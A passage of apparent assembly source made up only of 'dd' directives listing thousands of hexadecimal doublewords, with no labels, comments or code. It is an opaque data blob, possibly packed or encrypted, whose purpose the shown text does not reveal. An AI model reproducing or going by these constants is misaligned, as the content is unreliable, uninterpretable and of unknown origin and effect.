8E07D92Ch, 191E99D1h dd 95F5E9D0h, 2096009Bh, 62849A34h, 2300CCB1h, 61AA52D4h dd 147DDEh, 8F5B4CB0h, 7469D30h, 0D07E5E00h, 0B4A1ACFh dd 24850070h, 0EFA01733h, 4F00C1EAh, 0DD43B06h, 60FDC5h dd 5985D6CBh, 15501BFAh, 7BA6AE00h, 0BED85A5Ch, 708D000Fh dd 6516968Ah, 9D00A59Fh, 7377F9B7h, 0B8F5373Bh, 0C6900B14h dd 0D800A28Ah, 0D4EB32D9h, 2AB0590Fh, 1AA52420h, 674E8080h dd 0FC5B00C4h, 0A23DF92Bh, 7E00E215h, 0D12EDDE8h, 0FDD435h dd 0C10D30CEh, 4D03ECE7h, 543ADE00h, 0E508B91Ah, 509816h dd 0F57BD868h, 494C35E7h, 0DE77960Eh, 9821E3E9h, 0FE418915h dd 90C5E8h, 268BBA6Bh, 0EA3DAA2Ah, 73681600h, 66B26221h dd 88C8001Ch, 0A5B5C9DDh, 0B4005BABh, 476CC387h, 7B28D0h dd 2C7ADBCh, 0CE1E9C73h, 4B13DDE0h, 7200AC19h, 59685052h dd 3C2B07ABh, 90D076B6h, 0CE51537Eh, 88F31100h, 0D76E2607h dd 0E17F077Dh, 0B9805ED9h, 4959A800h, 564860B5h, 254200CEh dd 0EDFD4447h, 0A737006Ch, 0EC8D9EBAh, 76263428h, 93803CE3h dd 4F20A0B2h, 47A900F4h, 77DA043Eh, 8A0CD22Bh, 0ECEF5E21h dd 7A200087h, 0F2652E5Dh, 6400DD1Ch, 0B4F4BCCAh, 1FAD3CC5h dd 40885C87h, 0EF1BE11Fh, 0DA003235h, 0ECE9AC64h, 0E7F19D1Ah dd 0EDF03431h, 28DB0096h, 0FA1C845Ah, 0BB98EA51h, 0EFA7C607h dd 5B857201h, 0FB6D18C0h, 30AD008Fh, 486F1652h, 28036449h dd 7B06CBE0h, 971C8C8h, 13B81DE2h, 7B7E8F1h, 0DDF95162h dd 0A4E00E6Fh, 0AF9F6742h, 60D88707h, 0B9F007DFh, 3869A9CDh dd 3E309C97h, 0E9D7B811h, 68884216h, 0BF4E505h, 0AA728200h dd 9A2C1A7Fh, 0FCC20030h, 0F9AD23B6h, 63010E84h, 0D1B0415Dh dd 0F0CFC571h, 392C5B8Fh, 7D934A88h, 6CC482Bh, 81458500h dd 53A40Bh, 8618935Ah, 0D7DA3837h, 0E6834700h, 0F8085C3Ah dd 25CA00ECh, 1A4F04D3h, 0D800856Fh, 584BD936h, 0C85BDFh dd 3BA4E767h, 72B34CFCh, 0A4ED753Bh, 14090F15h, 3C48A07Eh dd 379E8FEh, 6BC16963h, 9AC9F19Fh, 0CB10877Dh, 2AC04AA0h dd 902CDBF3h, 1CC90D0h, 59E80B2h, 0E89068EAh, 217ED37Ch dd 1F2D8F00h, 1AB108C2h, 294B3A78h, 0D1536800h, 660C19BDh dd 90DFF1C5h, 0C8AAC683h, 19959EC1h, 28174E41h, 0AB399B4Fh dd 0BEC1D880h, 14DF42F2h, 0E241F19h, 2074B2E4h, 0C2DA1789h dd 285D0097h, 900943D8h, 0B400DB35h, 51C3647Bh, 226831h dd 6ED96506h, 44C1ED1Ah, 45001CEAh, 310D9D03h, 1E6C8D84h dd 8076274Ch, 0E86F4D54h, 7A0066A6h, 884A74D4h, 3D12901h dd 43F57690h, 9AB0F97Ch, 0ED001160h, 0C6E8FD3Dh, 0FBA27Ah dd 0D159AC39h, 0AFB8DE62h, 10862603h, 0B86F1F47h, 7ADA92Fh dd 9DB5B780h, 0E0F08790h, 0FCA706CAh, 0B91E590Bh, 70020CC8h dd 0E0F6DBh, 9E3C17ECh, 2508B0D8h, 8F3D0C00h, 0A83E164Ch dd 0ACE00076h, 10DD05FEh, 5F0027E4h, 32C19626h, 0F00891h dd 4F469023h, 8F6068F7h, 29783360h, 32EF5Bh, 20219857h dd 1285A4CCh, 70118A00h, 0B8EE74B3h, 0D11F0008h, 3BE0B5F5h dd 7500D61Bh, 0C82CE2A9h, 0A8308843h, 2A6B8Ch, 17380959h dd 49466A86h, 88E9F518h, 705020h, 26A45DF9h, 0DDB7E6B2h dd 0A1693C01h, 0B949F68Dh, 0FFE9A8EFh, 0D0E7319Ch, 80948CA0h dd 85C12EA9h, 3A8AC37Dh, 4A004D10h, 88F8BA40h, 0AEE820A3h dd 0A605CC00h, 0AD280F52h, 3B710054h, 70150D66h, 2201A54Ah dd 0D5DD55E0h, 0E0E34720h, 0F689088h, 0BC5F0689h, 2D8564C0h dd 0B600B01Eh, 0A81D46Fh, 31DD0F5Bh, 0D0296643h, 19370056h dd 7D28009Fh dd 0EF2B53D8h, 2A0045CAh, 0C45A1436h, 5B3A49h, 0DB6A7C95h dd 924E0878h, 0C7B9F700h, 0A2E1F118h, 7C75B0B3h, 0F2CF00EDh dd 0E2630246h, 97076740h, 8D6AE447h, 68D2C9D0h, 0EABFF084h dd 1497618h, 4B193632h, 0DBC33A4Fh, 97FBF4D8h, 963D3400h dd 0F841CAF9h, 9BC40107h, 1CCFD1D2h, 0E8A8CFF5h, 0D830C955h dd 126F1966h, 2E41008Dh, 0AA45E682h, 8C07BF07h, 1EA29C6Ch dd 80052CC2h, 1AB3DFA0h, 0C25F0775h, 0E098BC85h, 8C718BB1h dd 9078AF00h, 5305CA8Fh, 227F009Ah, 87CE5A6Ch, 0C50E45CBh dd 0BD068DDDh, 272F3CC0h, 1326E6FDh, 0EC9AFFA5h, 0B38600BAh dd 961A33F8h, 2E3C00B2h, 0CEA4A9B7h, 720375DBh, 0DCA373ADh dd 0B5C4E086h, 53EE77h, 0B18EE51Ah, 0DA8248DFh, 0B6423C00h dd 5F69D879h, 25A4009Ah, 0A8D13E5Eh, 0A1B0F44Ch, 2257FF00h dd 0E75294B6h, 89A40011h, 0A239FCA3h, 240F99B7h, 0C53562h dd 5AE270F2h, 24A348A7h, 14063300h, 0E6EEE6Bh, 29FFEA1Dh dd 130081D7h, 7D4E3CFBh, 23EC00F0h, 0AFA69188h, 5400217Bh dd 34080B64h, 3DCF304Fh, 38004AADh, 4C47A53Dh, 0D6002286h dd 7CAE70Ch, 2FF2C0D4h, 50C05771h, 263CFBDAh, 91D5001Eh dd 82CDAE87h, 9F5900D6h, 2D633EC7h, 4C00A4E6h, 64E85E4Bh dd 0B8ADAB81h, 0DACA00D0h, 52795791h, 0A100B74Eh, 0B37360C5h dd 26255396h, 7EBC462h, 0F0FA6B70h, 4C3610F7h, 44DCEC16h dd 8B1B0B00h, 30DE393h, 52D83FE6h, 1790D363h, 4D54B379h dd 0BA035F8Ch, 623B2F97h, 0B441B8CAh, 0C2040348h, 4A3C9A93h dd 7D517CD8h, 1DE50B00h, 0BACDD808h, 85A71242h, 4170079h dd 0C3112FC8h, 0CB41380Fh, 7A00BFC9h, 0AD56078h, 0F266735Fh dd 0CA870017h, 80BF250Bh, 3D02DB18h, 4D7A507h, 0A48F40D0h dd 0E2BE3B59h, 384AB200h, 2C87EE9Fh, 1D010498h, 11B35448h dd 8080DCB0h, 929ACEB6h, 0AE1FFC1Ch, 0CD80A888h, 66FF7B18h dd 0F1455119h, 7C56BFE0h, 2B7A7Eh, 0ED44C517h, 2E79CF83h dd 9A716832h, 702C60EEh, 0C69A0101h, 0A88D2AB1h, 5EB84069h dd 570013A7h, 0A11F2832h, 0FCD92E06h, 88FC003Eh, 8B451E0Bh dd 46098EE7h, 80947B9Eh, 0A5631AA9h, 0C5D50002h, 57828C8h dd 68C04B25h, 12188BA8h, 0A294063Ch, 981A19D8h, 3B41A91Dh dd 0CB07C8E8h, 9E98F903h, 81AAE300h, 0FE621D3Ah, 0F8FBC0C4h dd 401E0148h, 8A3F7B00h, 6655D047h, 0D287002Eh, 21E66249h dd 2F026E14h, 9801CC91h, 0B31A408Fh, 0C87A0018h, 2380D3C3h dd 920010E7h, 608E5CE5h, 306A74A2h, 0AB8E283Dh, 1F04D935h dd 932FC7A7h, 0E39050C0h, 71593888h, 0DA849Ch, 0C410C11Eh dd 0F706F076h, 464A0635h, 0D11800E8h, 0A1DD82C0h, 0C2002802h dd 1B3D988Dh, 0FC80Eh, 2604B7D3h, 84236FF2h, 352AB000h dd 5BB9622h, 955000AAh, 8BD8D8Ah, 0DE000FC3h, 0C411C9A0h dd 0E4AE3A5Fh, 0A40A3BF5h, 0DE90A0FCh, 2001008Dh, 7024C139h dd 150142FCh, 4718AE30h, 71E502A9h, 0B8E5E4ECh, 0D0CE03EEh dd 0CAA0383Dh, 8C014BC8h, 0EB72DC1Ch, 20078B0Fh, 46A974C0h dd 0D9A326DBh, 0A2E8008Bh, 7342099h, 0EC522E07h, 21A0D656h dd 0C3D4EBEFh, 0F3FBA484h, 0DF9AC398h, 48F75839h, 771E079Ch dd 1163732Dh, 0C32800FDh, 0DD1AB095h, 55006A8Ah, 7B2F163Ah dd 0AA6D03h, 0E06EE1A7h, 0C449727Fh, 9040FF02h, 4832921Dh dd 881058h, 0C641ECFDh, 3353F944h, 0CFD38900h, 22AE81B2h dd 0D04E0007h, 46D93F7Ah, 0D2418FDh, 5180602Ch, 44A7FF37h dd 0E2A200CDh, 0A68B257Dh, 4200B96Bh, 465C8AB4h, 3F93A7BBh dd 75DDE5h, 0FB1DF2D5h, 0F9AFCD9Fh, 8366A00h, 0B9AE1F14h dd 38880025h, 0A3B5156h, 424CDED1h, 80333C4Fh, 0E1252A04h dd 36B85A6h, 482C5BF5h, 0EC80788Eh, 1216AB45h, 1600370Dh dd 696FD302h, 549A7Ch, 81FA5B4Ah, 0A81141E0h, 84C0E500h dd 0F0557D80h, 0D3A9260Fh, 0B7D701E5h, 0E84E42A7h, 4C7D0BC3h dd 5DE33900h, 7B6E553Eh, 0EABF005Bh, 6775D2CCh, 7A2CE2C7h dd 0FA079472h, 0E7C0475Ch, 504E29h, 0B131FFC8h, 0CC6C8A71h dd 0B870163Ch, 0FED5821Ah, 0EB3D9545h, 0ACC7E148h, 10E2440h dd 75C81D66h, 5EDE0190h, 0C0F06E95h, 8F03854Eh, 11634077h dd 0B7C5C019h, 200F006Fh, 0AA62ADFAh, 2051506h, 0F3C8A1FFh dd 9874B4C0h, 79230366h, 3FFA46A6h, 820DA2F8h, 64D160CAh dd 8C0C4E4h, 6EA422h, 77A7518Bh, 86F00C8Dh, 24A8A154h dd 5D79EC13h, 804C3E0Eh, 85654BA0h, 869C000Dh, 0BDDAAFEBh dd 72E6F25Ch, 0A309DF2h, 0C57AAEBBh, 0E8450082h, 557F710Dh dd 3601C698h, 2A9010A7h, 8F45759h, 0F77500FFh, 0A365C738h dd 0F900EAD8h, 86691D2Bh, 51685Bh, 0CEA28056h, 0CD0B2D73h dd 6D1A9804h, 1AAA95Eh, 6495E2A8h, 21ECE825h, 45ED9A13h dd 218FB70Eh, 4643E306h, 88C6F8h, 0F19E60F8h, 86A02E7Eh dd 99C1AB00h, 1C1072FFh, 0A5E40506h, 40310A27h, 3BC66AD8h dd 320AFEBAh, 0C8C70419h, 2152303Ah, 3BDF98h, 8A2F5679h dd 80228439h, 6F897A03h, 873AFF74h, 93090630h, 18A36594h dd 0A6F2814Eh, 7066F002h, 91F1890h, 7E1437B5h, 618D48EBh dd 1CAD2A61h, 0D3007028h, 1E207FA8h, 3400DC6Ch, 441BA75Dh dd 48B9086Fh, 0FF06125Fh, 68991D9Bh, 0F3038C7Dh, 0D87D2476h dd 0E2F1F1A9h, 26385980h, 0A775104Ah, 85C76900h, 4FD08F0Ch dd 94403FD9h, 0CF186B58h, 822B18DDh, 500AC7Ah, 97A56788h dd 7D3596h, 0E73119F8h, 0B110FAB4h, 57BC6600h, 65029A3Dh dd 23DD0098h, 277BD4F1h, 61E66E4Ah, 0A9FCFB09h, 6FFA80CBh dd 0F54CBDh, 0D28A8C20h, 0C12AE102h, 0F0030AFEh, 2C1FE048h dd 0C3FA8890h, 0B46C00BAh, 30DF79DEh, 3D003FB1h, 56341D22h dd 3B2BC1AEh, 79000FB6h, 4CAAB84Dh, 5B0E4427h, 8048A9E6h dd 49D1B59Dh, 66810087h, 0D0BA9441h, 0C912EF90h, 0BF0082DAh dd 9BCB0984h, 60DD000Fh, 39B22C20h, 0CF09D1B7h, 6AC872h dd 0D95D0E4Dh, 6F2F00E9h, 0F86D4C07h, 9B00B3A3h, 6E193F8Bh dd 9F5DEAh, 88CA4838h, 1ED53705h, 0A50A7802h, 0C2EA6D1Dh dd 1035C385h, 1C4F7A30h, 9BC0ABD2h, 1ED702B2h, 5E82006Dh dd 0DDB14CCEh, 0C560E222h, 7251628h, 0F7450056h, 8E509DAAh dd 5F019E8Bh, 0FC31AFD6h, 6EC7ECAh, 0C5DC05EEh, 83B7441Ah dd 3007EC20h, 0DA87B6B5h, 0F6435EF0h, 0A8314B9h, 0A91B9094h dd 2848F022h, 30AB3064h, 0FA021B3Eh, 2DC30003h, 4638F2D7h dd 4100E7B1h, 69FEA76Bh, 51C49Eh, 449BCCB4h, 6EB640C9h dd 0DC27CB00h, 34EE26EDh, 2ED4001Bh, 207A175Ch, 4E7B83B5h dd 30001FF4h, 85FEE802h, 1DF5B2D2h, 0C356127Dh, 3E1E6FADh dd 21350930h, 1241D5h, 3ECC6ACh, 8A7EC5FEh, 0F99C6D00h dd 0DFE2D30Bh, 98B40C3Ch, 5A1009BCh, 628FB801h, 3557E582h dd 211816D3h, 70820EE1h, 6380F043h, 0E8C13DE2h, 0BE688184h dd 5822BC02h, 95103EF3h, 6EB01070h, 517280D8h, 7A3CE4BFh dd 663E98C7h, 216C085Fh, 0BF396500h, 3E556B29h, 0B92B196Fh dd 30F46163h, 6C0062E2h, 0E82C8DEFh, 1C4B630h, 39056B1Ch dd 0BBBCB0CBh, 6CA30C49h, 0F556B823h, 0D0B2F0E5h, 55306A90h dd 3DE808BFh, 5664D567h, 0BF5D9140h, 0A507B349h, 0CA7C31Fh dd 97470540h, 38EE5001h, 7F630018h, 11F0F560h, 0ABF8A1A7h dd 2501C274h, 0CCCB6FF1h dd 799C30A6h, 77007D24h, 9FF336Dh, 0FE746302h, 219E6Bh dd 8DB76FB1h, 374B3EC3h, 2FCC868h, 33C80CCDh, 6A71D4A0h dd 0A600FBA5h, 7294C2B2h, 0D9059Bh, 0D4904EA2h, 34C13A02h dd 0B00B0F00h, 0A6C05E66h, 0EFE100ACh, 81E75BBh, 4A7744Dh dd 0CB68F877h, 4E11BC60h, 4DE89h, 396A79A9h, 453236D2h dd 86915A0Eh, 3D1978C0h, 0A2F610BDh, 90741050h, 1F4D600h dd 63DC4D05h, 0E74608DFh, 60395088h, 1003794Eh, 8B00C524h dd 4B5AA4C2h, 0E2026EBh, 7535BC31h, 1D80C36Fh, 0A3CDB268h dd 4EB6D60Fh, 16B100EAh, 0CFF887Fh, 0A44360A6h, 0BB015550h dd 0FE4D073Dh, 0C0CCA33Ah, 3480513h, 8681EBh, 0ED3C7540h dd 5A0E465Ch, 80D2C821h, 878DFF1Eh, 64983F5Eh, 55096083h dd 0C03B0E7Bh, 0B89CB75Ch, 601E0FCFh, 50EB80D8h, 0C3EA0070h dd 0D6A2643Eh, 855096A8h, 57618334h, 138D3CF8h, 8609DE10h dd 9BA50800h, 0B81E50E9h, 0F19F854h, 0D043AF48h, 0A4910720h dd 7507DE2Fh, 3CD4A86Ah, 0C3010340h, 452B1FBBh, 0C19F0068h dd 1DDF0924h, 0B566110Ah, 0CA80AC43h, 0B35DE72Eh, 0E1E8A95Ah dd 58C92C4h, 0AE749359h, 70FC20E2h, 0C830CB32h, 3842C0C0h dd 904900E5h, 0BDA8E7A4h, 0C30A6A81h, 982A093Dh, 0FE928E38h dd 24B1AA48h, 11325CE4h, 7251B721h, 0A7399050h, 42DF07E7h dd 6066944Fh, 0A104FA09h, 0B9159E00h, 0D5E0415Ah, 3C8E822h dd 71254314h, 900AC2E7h, 0FC0A6650h, 0FF469200h, 0F193BCh dd 0E4DBE82Dh, 0A283CA09h, 0C20503ECh, 19FAED81h, 61CBBC02h dd 58B08868h, 88DF88CEh, 398612D0h, 28874Eh, 204B35D2h dd 0C79D3C7Ah, 10804649h, 0AD0292C8h, 4FDD1D1Bh, 216BBCA0h dd 7D50E8F3h, 0C600AAE0h, 8880B692h, 1FBA76CBh, 464A1C32h dd 186BC2C1h, 0B0253407h, 0ABB0B749h, 0CEF8FEh, 3AF44361h dd 0AF7A9B08h, 2892BF7Ah, 0C56C1F07h, 9E724B6Fh, 0F6744408h dd 88B0AA41h, 0EAF3F490h, 7D7523D3h, 0C07D8EA2h, 48AF5BBFh dd 0A980EC1Fh, 97A17592h, 1CF6D812h, 0FCA82C5Fh, 0B9081624h dd 0F989F200h, 568CD452h, 0F010347Ch, 0D6BC1D7h, 0E2D88C6Ah dd 7470C9B7h, 9381CC20h, 98F67610h, 9C065128h, 3B448D00h dd 0FBB32C1Eh, 0C3D20097h, 0BFE76E84h, 7509FFFAh, 20A401D6h dd 0A0EA4A6Ch, 8FF600B6h, 70AF891Dh, 9300F3A8h, 0E7831FC5h dd 0A15B549Eh, 0E5E5C388h, 2BD18881h, 455206DBh, 10D40A5Ch dd 4E8CA4ECh, 0CA1125A0h, 9315687Ch, 1390394Eh, 4000576Bh dd 0CF122ADBh, 0E1A8FAFDh, 81A6C0h, 0E7D94F8Bh, 8486C9B6h dd 4A02B9DEh, 0A07CE84Ch, 0DAF79E80h, 9246E4C3h, 8A880120h dd 511C1F7Fh, 0CD809E7Bh, 0C8938CB9h, 33F4A907h, 3048E9E7h dd 3184B900h, 94FFFB8Ah, 143350C8h, 0E098003Bh, 0D495E621h dd 2218DAACh, 126875D5h, 9F80C74Ch, 1986C6A7h, 0F00E9DFh dd 3AE73687h, 0FC7802h, 512EEA72h, 6A14DF88h, 0C9C3CD00h dd 0B5421976h, 9CDD4928h, 7E32040h, 0F7BD0C87h, 0A56A6332h dd 856C4388h, 0B14C2630h, 2157AF5h, 0A4D59AA2h, 604BEACCh dd 0DC8081B2h, 112D9E9Bh, 68757B0Eh, 56802074h, 0E0CE5BF4h dd 637A33C3h, 589BE030h, 0FF39CDD8h, 1FF63B13h, 93E51002h dd 45E89086h, 702E00E0h, 0A2F3CC48h, 0E658A985h, 44DF807Ch dd 2A0D641Dh, 0F8FC75B2h, 1789ABCh, 72FCCB93h, 0D34CC469h dd 0ADB094EBh, 0A0488712h, 0B22C0020h, 7A102D5Ah, 2688EA57h dd 2048A86h, 0E5E135D0h, 41B0F088h, 47412D93h, 6403D2E4h dd 3C1FB883h, 7F4902C0h, 8558F302h, 62DDF15Bh, 9350908Ch dd 3BC00243h, 7B3449A5h, 0A61FE700h, 0DFFC2894h, 0B91203B0h dd 43CFA79Eh, 9B87B290h, 80C0F092h, 7A3786FFh, 0D3CA0003h dd 25DF3188h, 4E0216EDh, 7B3850F4h, 9FD080B8h, 9228EB7h dd 6F3BB49h, 85F23D80h, 0F5593D52h, 5BCE029Ch, 0AA280EC8h dd 6487E894h, 0DE2C093h, 986AE1h, 7C4306B8h, 0EC30CC76h dd 9F002D41h, 84F1AB8Dh, 0E20ACCh, 0AEAA01B2h, 22F00929h dd 0BAC7933Fh, 90661E37h, 0FDA1F80h, 8D2DBBh, 0B6B87588h dd 0E9A91312h, 5084A307h, 8740E84Fh, 636A4Eh, 0A8E30BB2h dd 0E7385298h, 806E713Bh, 6415AA0Fh, 2674751Eh, 50E07E46h dd 64820E48h, 18862480h, 29AD8FFCh, 0D84D0664h, 9CB98528h dd 4E72042h, 0B2348287h, 3804C0A9h, 480B20B6h, 248C90E9h dd 466855DCh, 0FA482188h, 2B3F04A0h, 4C00574h, 20C895F6h dd 0B44C09C3h, 61B3CD20h, 0F3881E8Ch, 8F1AF28h, 3DFA3E3h dd 13F44C50h, 0B105C81Ch, 9BC93642h, 89DE64C0h, 36287C8Ah dd 78A98F1Ch, 772C30FFh, 0A44C3D54h, 4CF7709Dh, 7084543Bh dd 0C6EC816Eh, 9238F112h, 0FC5EE719h, 2FC7B1B0h, 5721F11Bh dd 24202B61h, 0E015005Dh, 976050F5h, 0A429DE92h, 26885Ch dd 567CE660h, 0E0B90988h, 0AC92BE03h, 33017446h, 680A2015h dd 2866BC5Ah, 0E2923E0Eh, 6E340052h, 0B6EB4FB2h, 0EC40CCAAh dd 14B88C75h, 68437E26h, 85DFB960h, 0C29415C6h, 4105BC8Eh dd 0C0B0BAD0h, 3C747848h, 6890C3F2h, 0D364A100h, 0FB131FADh dd 82499B6h, 0BB045CF8h, 2490C486h, 13B7E9A2h, 70AA06EAh dd 55024268h, 0CFE65B02h, 0A9D9D581h, 11502FE4h, 0E751CA03h dd 1040FBC7h, 1C94224Ch, 510EC38Ch, 7B53F219h, 2C88F23Eh dd 0AECB78Dh, 245C0885h, 7F34010h, 2EF053C2h, 0CDDB7E03h dd 0DA384F11h, 89C04894h, 84ECAB55h, 1D881880h, 6AF3125Fh dd 0D9802059h, 0CA0507F6h, 1BFF2B65h, 585A6C41h, 29804964h dd 41CC79F4h, 4814BA1Ah, 0CCBC5946h, 16B040h, 0F3A606E9h dd 0B3CF808Ch, 0D414430Ah, 64F018BBh, 803500DCh, 9E9DD62Ah dd 5A1DF415h, 0B27B88E4h, 0C81EF123h, 0FE14E0h, 0B8BC0C1Bh dd 0B2FFF5D6h, 80194300h, 67E9EBC3h, 90C977A1h, 0E0E648B7h dd 0ACE42183h, 0AFA8C0C4h, 40A39F75h, 77FE93D0h, 0A13CD470h dd 0C4AE2E3Ch, 8ADFA058h, 3F01F8E4h, 8A337FEh, 44C6E84Eh dd 1E031C50h, 182BE2Fh, 90E1CEC2h, 55920CC8h, 0BB43BB3Eh dd 0A8E99FE3h, 4116AF02h, 1FBCE0B5h, 8EF612E1h, 931403D6h dd 890094C2h, 45B16541h, 55861F5Dh, 9FF8ECC1h, 9E8816E2h dd 0BD6C005Eh, 5495EFDBh, 0DF3C3800h, 0A46F4DB1h, 21891D1Fh dd 974CE005h, 387B30B4h, 12CA5AAh, 0B9EFD94Eh, 606D3CD6h dd 5A709F9Ah, 0C9D07E50h, 23087C52h, 8BA300BBh, 731825EBh dd 3F4F743Eh, 3BAB05A0h, 6C81B775h, 0BBCC8995h, 4E460547h dd 4769B8F3h, 0D484B320h, 426880D9h, 0B8126DDEh, 9CC050E9h dd 1B27559h, 0EA41230Dh, 0FB09A171h, 0A4AFD009h, 0A90848C5h dd 79491A33h, 0FC4818B7h, 428654A2h, 0E6FCC4E1h, 20986B0Bh dd 587DA90Bh, 8062C0A2h, 0A741A448h, 0A601A414h, 0EABD0ED8h dd 0F04252F6h, 50DBE817h, 883E5D20h, 0DC8924h, 0A3122F1Dh dd 0D928DDD7h, 7839C009h, 0E295925Eh, 7EC6A500h, 0C0B671A4h dd 6A75B9F0h, 3C60C37Dh, 0F3BC01A8h, 0D2CC7494h, 0A55609D8h dd 204B4C21h, 40BAE5DAh, 946A6B94h, 73CC13Ah, 0C9910167h dd 935E0600h, 0E14F148Bh, 6BC8086Dh, 90F21C0h, 0A5D812C2h dd 3B0C002Fh, 0B3C8D415h, 567ADA1Fh, 44C6B1CAh, 0B169DB70h dd 164ED4h, 4FC5A3C8h, 0D04801C6h, 8770137h, 0F93B7F85h dd 39906C61h, 0DCBB80B8h, 0B1F65CCBh, 566E01C4h, 48613585h dd 7216E8D0h, 0E7128D80h dd 690AC0CAh, 21D4FCCCh, 0B04B95CCh, 179785B5h, 0F10445A4h dd 6A402C0h, 4448A701h, 0A207755Ah, 9674303h, 0DF1257E0h dd 2108A6BEh, 9F8442B0h, 7C9569A0h, 3B41B040h, 0F094713Dh dd 20845C81h, 42A32612h, 75B13A68h, 0F3451200h, 0A0A0904Dh dd 257D35FCh, 0DC94612Dh, 16D8FC20h, 43253034h, 7A9250A0h dd 78D52812h, 0CF136020h, 0A850016h, 0A369AA07h, 0F00A5F1h dd 92B33F3Bh, 1343FF49h, 0E0A8E1h, 1B1E1850h, 0A10F353Ch dd 8DABB6D6h, 0A5D469F7h, 13F3F2A4h, 966D714Fh, 0B0AC2860h dd 5EDCC20h, 26D03DAEh, 3D4D806h, 122495FAh, 0C58444E9h dd 0E0C3D0B3h, 6A0AE369h, 310AA18h, 85681EACh, 0FC9D65D0h dd 5D675B01h, 200A2B99h, 9AD46FF8h, 85BD0E1Ch, 67010DADh dd 0FCD76C1Fh, 6CB2516Bh, 86AFF824h, 96283D0Eh, 809B4849h dd 0EDFF12CBh, 411F00F8h, 0EA7B5059h, 0FA01CEC3h, 5EA88880h dd 0C04A7162h, 902BBC14h, 8693E702h, 4CE0BE04h, 0DF005AC5h dd 0E9AF72ABh, 64F9EA70h, 91CB382Eh, 509509A0h, 7B596C18h dd 8C1130A5h, 49564204h, 0D3C09038h, 8300F667h, 5A0F7C6Bh dd 0E05EDF8Ch, 24270415h, 0F0917E71h, 970F0C50h, 29D2CEF1h dd 8588E05Fh, 78BC6764h, 78A1C239h, 18800C87h, 897BC60Ch dd 945E0CC1h, 1A11A4C8h, 0D6C100B6h, 3CEE452Eh, 3A526100h dd 50EA0665h, 6D50B529h, 0A401095Ah, 823FD6AFh, 18D878A0h dd 113EED92h, 2E0C3543h, 81AE8631h, 0A966121Dh, 689400E3h dd 0A3D1EA52h, 0AF93FCA0h, 24DAD89Fh, 9D80E81Ch, 6F91056Ah dd 5E7CC047h, 6CE975ECh, 0F6438168h, 8A6073ADh, 1434B85Ah dd 8875525Ch, 9CC8F100h, 0E2C9AFB4h, 0D56420F9h, 0F7B3EE01h dd 5A33041Ch, 94342988h, 0AB800C01h, 54E0EF7Fh, 40F40031h dd 8FF3B770h, 85018845h, 0A6EBBA9Eh, 0DE873E2h, 1277507h dd 0B5370B40h, 0F0BF2ACBh, 420002E8h, 0A6C7E17Eh, 14C4525h dd 0ED0B46B4h, 0C08A17AFh, 2004B9Ah, 4DB5872Bh, 0E645A7h dd 15180D54h, 2E0356DBh, 0FF019D70h, 2FC5FBC4h, 97C8A29Ah dd 1312008Dh, 0E8C14EACh, 4100A3A8h, 3A878525h, 7BF4Bh dd 58510B39h, 8DE5DC50h, 9169E31Ch, 71D5CFC3h, 7C90C554h dd 501D0572h, 1850AE09h, 60EB3B08h, 76073C20h, 0BC405E7Ch dd 0F4DFCBF0h, 13770761h, 809C2723h, 45ED1BE0h, 75F38E00h dd 0D2BAE1BDh, 0B3CC0309h, 5C9C29A2h, 0EF03EBE8h, 0FFC67000h dd 65E1070Fh, 128B0E6h, 4416C1C3h, 0C871D94Ah, 4E099643h dd 3BBBF1h, 0E2A5B714h, 0DD5200B6h, 0C3307145h, 0AC7022CBh dd 0B797C01Eh, 0B46C17C0h, 0FE4E994Bh, 5FAA0EC4h, 2F40D43Ah dd 4666BBEBh, 0F66FC80Eh, 2BF800A1h, 1C74156Ah, 0C7BFE7h dd 0ACFC2777h, 4A0033E0h, 0ADD4C939h, 36F6B3Ch, 0D3EBD01Bh dd 0D09FEC1Dh, 291A48DAh, 2B7F58h, 0FA4347Ch, 0F5FA0BDh dd 0A5BAB090h, 25B36F80h, 0DF28C664h, 387DABC1h, 801FEA02h dd 82D4398Bh, 8034E7BCh, 0C2443EA5h, 0B97A55h, 6BE63A6Ch dd 0B4618C35h, 0CAF32E00h, 0BB947FD6h, 68A800C3h, 4D651924h dd 0AE00A2EFh, 76901BDBh, 480FD031h, 80073402h, 90FBBD2Bh dd 63C41394h, 960F84E2h, 2046E738h, 0A98DDF55h, 0C5A61882h dd 0BCA4E226h, 188C840Eh, 0CF5C0020h, 7125A9h, 3AE17A33h dd 86D34561h, 0CD4AB23Bh, 4D960F2Ch, 358BE06Ch, 8EA45Ah dd 8AB96E32h, 0F719CA89h, 0CC5B2B01h, 0FB1F9961h, 0EF005ABFh dd 0CE6E6893h, 0EB1D7BFCh, 0D4474E35h, 0A02F5354h, 32B6A8FEh dd 78140040h, 132B8498h, 8D003963h, 0B2E05F87h, 54D6CFh dd 414A2637h, 0E53BC87Eh, 6C7BE81Eh, 744D680Bh, 0AE6700E6h dd 60F4B656h, 95085F02h, 40BAD07Ah, 0E7A525h, 0D70776EFh dd 0CAA8279h, 0C6F6389Ah, 561F0C92h, 6E00B505h, 9B36762Fh dd 68230488h, 8038391Bh, 46AF4CB0h, 67701500h, 0A0D5AEA4h dd 0E6CD3C22h, 8DE9C980h, 52135BF2h, 0F492F000h, 588424FBh dd 0E1890F01h, 0B9604272h, 60AE3350h, 0BA379002h, 0C8825C6Fh dd 7E128020h, 250A04F6h, 0C09095A9h, 96578EEh, 2BF21B00h dd 507B6066h, 0CFCCED49h, 8E9B3C42h, 4FF99D80h, 323FFDD6h dd 9CAEC900h, 34C712A9h, 0AA500017h, 8CC8CB35h, 9400648Fh dd 0FCF13E01h, 0E37F444h, 23726E8Bh, 30064340h, 0D448B43Dh dd 39E3FE9h, 14DB571Ah, 579B858h, 3DF00EE9h, 93A2D0B7h dd 0DC709BEDh, 43C85700h, 0AD7C2DBAh, 63D000A7h, 0B3CBC227h dd 28002BA0h, 0D40AFBE4h, 78E37AEBh, 0F2EE64h, 0CE1A7431h dd 0E6C7DB0Bh, 588F6901h, 40576BDDh, 13D4E020h, 2128014Bh dd 7F532FC0h, 14CEDF0h, 0C7FEBF5Ch, 7B5424F3h, 0E2D190A0h dd 7B980A42h, 8EC514h, 6F5E53B0h, 5A009CAAh, 3FB3AC69h dd 160171h, 27D0F72Fh, 0FFB661D7h, 8D3630C0h, 37B8C4h dd 0EF8925F0h, 0D5A93972h, 8C0A101h, 7EF7CFC2h, 50EDA2FCh dd 4ABC50h, 8D8A6B13h, 78C9803Eh, 0CD9FCC2Eh, 3518D703h dd 7780840Ah, 72B3F2F4h, 0B5D600FBh, 57176E6Bh, 0B180428h dd 18BADDE0h, 118F0006h, 0DC61CD4Ch, 6C09BBC9h, 0E83F1289h dd 